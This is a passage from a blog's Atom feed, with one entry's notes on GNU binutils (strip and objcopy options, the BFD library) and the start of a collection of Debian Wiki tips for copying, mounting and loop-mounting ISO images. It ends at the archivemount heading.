     --remove-relocations &amp;lt;name&amp;gt;   Remove relocations from section &amp;lt;name&amp;gt;
  -s --strip-all                   Remove all symbol and relocation information
  -g -S -d --strip-debug           Remove all debugging symbols &amp;amp; sections
     --strip-dwo                   Remove all DWO sections
     --strip-unneeded              Remove all symbols not needed by relocations
     --only-keep-debug             Strip everything but the debug information

  -N --strip-symbol=&amp;lt;name&amp;gt;         Do not copy symbol &amp;lt;name&amp;gt;
     --keep-section=&amp;lt;name&amp;gt;         Do not strip section &amp;lt;name&amp;gt;
  -K --keep-symbol=&amp;lt;name&amp;gt;          Do not strip symbol &amp;lt;name&amp;gt;
     --keep-section-symbols        Do not strip section symbols
     --keep-file-symbols           Do not strip file symbol(s)
  -w --wildcard                    Permit wildcard in symbol comparison
  -x --discard-all                 Remove all non-global symbols
  -X --discard-locals              Remove any compiler-generated symbols
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;objcopy&quot;&gt;objcopy&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permanent link&quot; href=&quot;https:&#x2F;&#x2F;duetorun.com&#x2F;blog&#x2F;20230620&#x2F;gnu-binutils&#x2F;#objcopy&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mshrimp.github.io&#x2F;2020&#x2F;04&#x2F;19&#x2F;Linux%E5%86%85%E6%A0%B8%E5%90%AF%E5%8A%A8%E6%B5%81%E7%A8%8B-%E5%9F%BA%E4%BA%8EARM64&#x2F;&quot;&gt;Linux内核启动流程-基于ARM64&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;vmlinux is a generated uncompressed pure kernel binary with all user-defined kernel components, but it is unable to boot the system. In order to load the Linux kernel image into memory and in an executable state, the kernel build system uses the &lt;code&gt;objcopy&lt;&#x2F;code&gt; command to clear unnecessary sections, compress vmlinux in ELF format, load and link through the bootloader, and finally generate a bootable binary zImage.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;arnoldlu&#x2F;p&#x2F;14102272.html&quot;&gt;简析Linux镜像生成过程: vmlinux-&amp;gt;uImage&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Generate &lt;code&gt;vmlinux&lt;&#x2F;code&gt; and &lt;code&gt;System.map&lt;&#x2F;code&gt; files by running &lt;code&gt;link-vmlinux.sh&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;Use &lt;code&gt;objcopy&lt;&#x2F;code&gt; to remove unnecessary segments in vmlinux and output binary format Image.&lt;&#x2F;li&gt;
&lt;li&gt;Compress the Image and output compressed files in different formats, such as &lt;code&gt;Image.gz&lt;&#x2F;code&gt; corresponding to gzip.&lt;&#x2F;li&gt;
&lt;li&gt;Add uboot header information to Image.gz to generate &lt;code&gt;uImage&lt;&#x2F;code&gt; file.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;$ objcopy --help

  -j --only-section &amp;lt;name&amp;gt;         Only copy section &amp;lt;name&amp;gt; into the output
     --add-gnu-debuglink=&amp;lt;file&amp;gt;    Add section .gnu_debuglink linking to &amp;lt;file&amp;gt;
  -R --remove-section &amp;lt;name&amp;gt;       Remove section &amp;lt;name&amp;gt; from the output
     --remove-relocations &amp;lt;name&amp;gt;   Remove relocations from section &amp;lt;name&amp;gt;
  -S --strip-all                   Remove all symbol and relocation information
  -g --strip-debug                 Remove all debugging symbols &amp;amp; sections
     --strip-dwo                   Remove all DWO sections
     --strip-unneeded              Remove all symbols not needed by relocations

  -N --strip-symbol &amp;lt;name&amp;gt;         Do not copy symbol &amp;lt;name&amp;gt;

  -K --keep-symbol &amp;lt;name&amp;gt;          Do not strip symbol &amp;lt;name&amp;gt;

  -L --localize-symbol &amp;lt;name&amp;gt;      Force symbol &amp;lt;name&amp;gt; to be marked as a local
     --globalize-symbol &amp;lt;name&amp;gt;     Force symbol &amp;lt;name&amp;gt; to be marked as a global
  -G --keep-global-symbol &amp;lt;name&amp;gt;   Localize all symbols except &amp;lt;name&amp;gt;

  -x --discard-all                 Remove all non-global symbols
  -X --discard-locals              Remove any compiler-generated symbols
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;bfd&quot;&gt;BFD&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permanent link&quot; href=&quot;https:&#x2F;&#x2F;duetorun.com&#x2F;blog&#x2F;20230620&#x2F;gnu-binutils&#x2F;#bfd&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Binary_File_Descriptor_library&quot;&gt;Binary File Descriptor library&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The Binary File Descriptor library (&lt;code&gt;BFD&lt;&#x2F;code&gt;) is the GNU Project&#x27;s main mechanism for the portable &lt;em&gt;manipulation&lt;&#x2F;em&gt; of object files in a variety of formats. As of 2003, it supports approximately 50 file formats for some 25 instruction set architectures.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gcc.gnu.org&#x2F;wiki&#x2F;bfd&quot;&gt;bfd - GCC Wiki&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;BFD&lt;&#x2F;code&gt; is a package which allows applications to use the same routines to operate on object files whatever the object file format. A new object file format can be supported simply by creating a new BFD back end and adding it to the library.&lt;&#x2F;p&gt;
&lt;p&gt;BFD is split into two parts: the front end, and the back ends (one for each object file format).&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;The &lt;em&gt;front end&lt;&#x2F;em&gt; of BFD provides the interface to the user. It manages memory and various canonical data structures. The front end also decides which back end to use and when to call back end routines.&lt;&#x2F;li&gt;
&lt;li&gt;The &lt;em&gt;back ends&lt;&#x2F;em&gt; provide BFD its view of the real world. Each back end provides a set of calls which the BFD front end can use to maintain its canonical form. The back ends also may keep around information for their own use, for greater efficiency.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;manual&#x2F;manual.en.html&quot;&gt;GNU Manuals Online&lt;&#x2F;a&gt; - &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs&#x2F;bfd&#x2F;&quot;&gt;BFD&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs&#x2F;bfd&#x2F;Overview.html&quot;&gt;Overview&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs&#x2F;bfd&#x2F;BFD-front-end.html&quot;&gt;BFD front end&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs&#x2F;bfd&#x2F;BFD-back-ends.html&quot;&gt;BFD back ends&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;binutils&#x2F;&quot;&gt;Binutils&lt;&#x2F;a&gt;@&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;&quot;&gt;sourceware&lt;&#x2F;a&gt;: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs&#x2F;bfd.pdf&quot;&gt;libbfd&lt;&#x2F;a&gt; - A library for manipulating binary files in a variety of different formats.&lt;&#x2F;p&gt;
&lt;p&gt;Using ld - &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ftp.gnu.org&#x2F;old-gnu&#x2F;Manuals&#x2F;ld-2.9.1&#x2F;html_mono&#x2F;ld.html#SEC30&quot;&gt;BFD&lt;&#x2F;a&gt;: You can use &lt;code&gt;objdump -i&lt;&#x2F;code&gt; to list all the formats available for your configuration.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ objdump -i
BFD header file version (GNU Binutils for Ubuntu) 2.38
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;CyberGrandChallenge&#x2F;binutils&#x2F;blob&#x2F;master&#x2F;bfd&#x2F;bfd-in2.h&quot;&gt;binutils&#x2F;bfd&#x2F;bfd-in2.h&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* BFD contains relocation entries. *&amp;#x2F;
#define HAS_RELOC                   0x1

&amp;#x2F;* BFD is directly executable. *&amp;#x2F;
#define EXEC_P                      0x2

&amp;#x2F;* BFD has symbols. *&amp;#x2F;
#define HAS_SYMS                   0x10

&amp;#x2F;* BFD is a dynamic object. *&amp;#x2F;
#define DYNAMIC                    0x40

&amp;#x2F;* BFD is dynamically paged (this is like an a.out ZMAGIC file) (the
linker sets this by default, but clears it for -r or -n or -N).  *&amp;#x2F;
#define D_PAGED                   0x100
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;When you type &lt;code&gt;objdump -f&lt;&#x2F;code&gt; or &lt;code&gt;objdump -x&lt;&#x2F;code&gt; to display the contents of the overall&#x2F;all file header(s), you&#x27;ll see these Format_specific flags.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;askubuntu.com&#x2F;questions&#x2F;1385118&#x2F;installing-necessary-packages-to-use-libbfd-binary-file-descriptor-library&quot;&gt;Installing necessary packages to use libbfd library&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ apt search binutils-dev
Sorting... Done
Full Text Search... Done
binutils-dev&amp;#x2F;jammy-updates,jammy-security 2.38-4ubuntu2.6 arm64
  GNU binary utilities (BFD development files)

$ sudo apt-get install binutils-dev
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.amazon.com&#x2F;Practical-Binary-Analysis-Instrumentation-Disassembly&#x2F;dp&#x2F;1593279124&quot;&gt;Practical Binary Analysis&lt;&#x2F;a&gt; - Chapter 4: Building a Binary Loader Using libbfd&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>CD&#x2F;DVD 刻录 - Debian Wiki 合集</title>
        <published>2024-12-12T00:00:00+00:00</published>
        <updated>2024-12-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/cd-dvd-刻录-debian-wiki-合集/"/>
        <id>https://vercel.juzhong.asia/obsidian/cd-dvd-刻录-debian-wiki-合集/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/cd-dvd-刻录-debian-wiki-合集/">&lt;h2 id=&quot;manipulatingisos-debian-wiki&quot;&gt;ManipulatingISOs - Debian Wiki&lt;&#x2F;h2&gt;
&lt;p&gt;Mounting an ISO and extracting files from it. Command line techniques with a Debian ISO remaster example.&lt;&#x2F;p&gt;
&lt;p&gt;目录&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#Copy_an_optical_disk_to_a_file&quot;&gt;Copy an optical disk to a file&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#Mount_an_ISO_file&quot;&gt;Mount an ISO file&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#Terminal&quot;&gt;Terminal&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#Disks&quot;&gt;Disks&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#Convert_any_disk_image_to_ISO_format&quot;&gt;Convert any disk image to ISO format&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#Loopmount_an_ISO_Without_Administrative_Privileges&quot;&gt;Loopmount an ISO Without Administrative Privileges&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#udisksctl&quot;&gt;udisksctl&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#udevil&quot;&gt;udevil&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#pmount&quot;&gt;pmount&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#archivemount&quot;&gt;archivemount&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#fuseiso9660&quot;&gt;fuseiso9660&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#Viewing_the_Contents_of_an_ISO&quot;&gt;Viewing the Contents of an ISO&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#bsdtar&quot;&gt;bsdtar&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#xorriso&quot;&gt;xorriso&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#isoinfo&quot;&gt;isoinfo&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#A7z&quot;&gt;7z&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#Extraction_of_Files_from_an_ISO&quot;&gt;Extraction of Files from an ISO&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#Remaster_an_Installation_Image&quot;&gt;Remaster an Installation Image&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#Extracting_All_Files_from_an_ISO&quot;&gt;Extracting All Files from an ISO&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#Appending_Boot_Parameters_to_the_ISO&quot;&gt;Appending Boot Parameters to the ISO&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#Putting_the_ISO_Back_Together&quot;&gt;Putting the ISO Back Together&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;copy-an-optical-disk-to-a-file&quot;&gt;Copy an optical disk to a file&lt;&#x2F;h3&gt;
&lt;p&gt;Copy a CD to a .iso file:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;dd if=&amp;#x2F;dev&amp;#x2F;cdrom of=image.iso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;mount-an-iso-file&quot;&gt;Mount an ISO file&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;terminal&quot;&gt;Terminal&lt;&#x2F;h4&gt;
&lt;p&gt;Mount the contents of a .iso file to a directory:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;mount -o loop -t iso9660 image.iso &amp;#x2F;the&amp;#x2F;directory
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;disks&quot;&gt;Disks&lt;&#x2F;h4&gt;
&lt;p&gt;Mount the contents of a .iso file to a Disks pseudo-directory:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Using GNOME, open &quot;Gnome-Disk-Utility&quot; (Disks)&lt;&#x2F;li&gt;
&lt;li&gt;Using Disks, navigate to &quot;Disks&quot; menu ---&amp;gt; &quot;Attach disk image&quot; option&lt;&#x2F;li&gt;
&lt;li&gt;Using the &quot;Select an image to attach&quot; window, navigate the image file you need to mount. For exemple an .iso file. Click on &quot;Attach&quot; button.&lt;&#x2F;li&gt;
&lt;li&gt;The image is now mounted. Using any file manager to your liking, such as Nautilus, find the mounted .iso under &quot;Others&quot; group.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;convert-any-disk-image-to-iso-format&quot;&gt;Convert any disk image to ISO format&lt;&#x2F;h3&gt;
&lt;p&gt;The &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;iat&quot;&gt;iat&lt;&#x2F;a&gt; package can be used to convert many disk image formats (BIN, MDF, PDI, CDI, NRG, and B5I) to ISO9660.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;loopmount-an-iso-without-administrative-privileges&quot;&gt;Loopmount an ISO Without Administrative Privileges&lt;&#x2F;h3&gt;
&lt;p&gt;Users seeking to view the contents of an ISO file or copy a file from it are frequently advised to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;mount&quot;&gt;mount&lt;&#x2F;a&gt; the ISO with&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;mount -o loop example.iso &amp;#x2F;mnt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;There are two aspects of this advice to consider:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;The command requires root privileges, which the user might not have.&lt;&#x2F;li&gt;
&lt;li&gt;Why invoke a root privilege (if available) when it is unnecessary?&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The following programs allow loopmounting without administrative privileges.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;udisksctl&quot;&gt;udisksctl&lt;&#x2F;h4&gt;
&lt;p&gt;Install &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;udisks2&quot;&gt;udisks2&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;apt install udisks2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;DesktopEnvironment&quot;&gt;desktop environment&lt;&#x2F;a&gt; has been installed from &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;QuickInstall&quot;&gt;the installer&lt;&#x2F;a&gt; or after the installation, udisks2 will already be on the system.&lt;&#x2F;p&gt;
&lt;p&gt;The package contains the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;udisksctl&quot;&gt;udisksctl&lt;&#x2F;a&gt; program. The command&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;udisksctl loop-setup -r -f example.iso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;attaches the ISO to a loop device in &#x2F;dev. Logging out and back in again might be necessary to have success with this command as a user.&lt;&#x2F;p&gt;
&lt;p&gt;Afterwards&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ls -l &amp;#x2F;dev&amp;#x2F;loop*
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;might show&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;brw-rw---- 1 root disk   7,   0 Nov 16 15:14 &amp;#x2F;dev&amp;#x2F;loop0
brw-rw---- 1 root disk 259,   2 Nov 16 15:14 &amp;#x2F;dev&amp;#x2F;loop0p1
brw-rw---- 1 root disk 259,   3 Nov 16 15:14 &amp;#x2F;dev&amp;#x2F;loop0p2
brw-rw---- 1 root disk   7,   1 Nov 16 15:19 &amp;#x2F;dev&amp;#x2F;loop1
brw-rw---- 1 root disk   7,   2 Nov 16 15:14 &amp;#x2F;dev&amp;#x2F;loop2
brw-rw---- 1 root disk   7,   3 Nov 16 15:14 &amp;#x2F;dev&amp;#x2F;loop3
brw-rw---- 1 root disk   7,   4 Nov 16 15:14 &amp;#x2F;dev&amp;#x2F;loop4
brw-rw---- 1 root disk   7,   5 Nov 16 15:14 &amp;#x2F;dev&amp;#x2F;loop5
brw-rw---- 1 root disk   7,   6 Nov 16 15:14 &amp;#x2F;dev&amp;#x2F;loop6
brw-rw---- 1 root disk   7,   7 Nov 16 15:14 &amp;#x2F;dev&amp;#x2F;loop7
crw-rw---- 1 root disk  10, 237 Nov 16 15:14 &amp;#x2F;dev&amp;#x2F;loop-control
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The ISO&#x27;s main partition can be mounted and unmounted with the commands&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;udisksctl mount -b &amp;#x2F;dev&amp;#x2F;loop0p1

udisksctl unmount -b &amp;#x2F;dev&amp;#x2F;loop0p1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The mount point is at  &lt;em&gt;&#x2F;media&#x2F;$USER&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Unmounting still leaves &lt;em&gt;example.iso&lt;&#x2F;em&gt; associated with  &lt;em&gt;&#x2F;dev&#x2F;loop0&lt;&#x2F;em&gt;. To unattach the device do&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;udisksctl loop-delete -b &amp;#x2F;dev&amp;#x2F;loop0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;udisks2 appeared in Debian 8 (jessie).&lt;&#x2F;p&gt;
&lt;h4 id=&quot;udevil&quot;&gt;udevil&lt;&#x2F;h4&gt;
&lt;p&gt;Intended as a udisks2 replacement but &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;udevil&quot;&gt;udevil&lt;&#x2F;a&gt; can co-exist with it and will work to mount an ISO with or without its recommended packages.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;udevil mount example.iso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;and&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;udevil unmount example.iso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;work out of the box. The mount point is in  &lt;em&gt;&#x2F;media&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;udevil appeared in Debian 8 (jessie) but has been &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;Backports&quot;&gt;backported&lt;&#x2F;a&gt; to Debian 7 (wheezy).&lt;&#x2F;p&gt;
&lt;h4 id=&quot;pmount&quot;&gt;pmount&lt;&#x2F;h4&gt;
&lt;p&gt;Mounting an ISO with &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;pmount&quot;&gt;pmount&lt;&#x2F;a&gt; requires (at present) the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;DebianExperimental&quot;&gt;experimental version&lt;&#x2F;a&gt;. Alter the &lt;em&gt;loop_allow&lt;&#x2F;em&gt; directive in  &lt;em&gt;&#x2F;etc&#x2F;pmount.conf&lt;&#x2F;em&gt; to &lt;em&gt;yes&lt;&#x2F;em&gt; and uncomment &lt;em&gt;loop_devices&lt;&#x2F;em&gt; before mounting the ISO in  &lt;em&gt;&#x2F;media&lt;&#x2F;em&gt; with&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;pmount example.iso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Unmount with&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;pumount example.iso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;archivemount&quot;&gt;archivemount&lt;&#x2F;h4&gt;
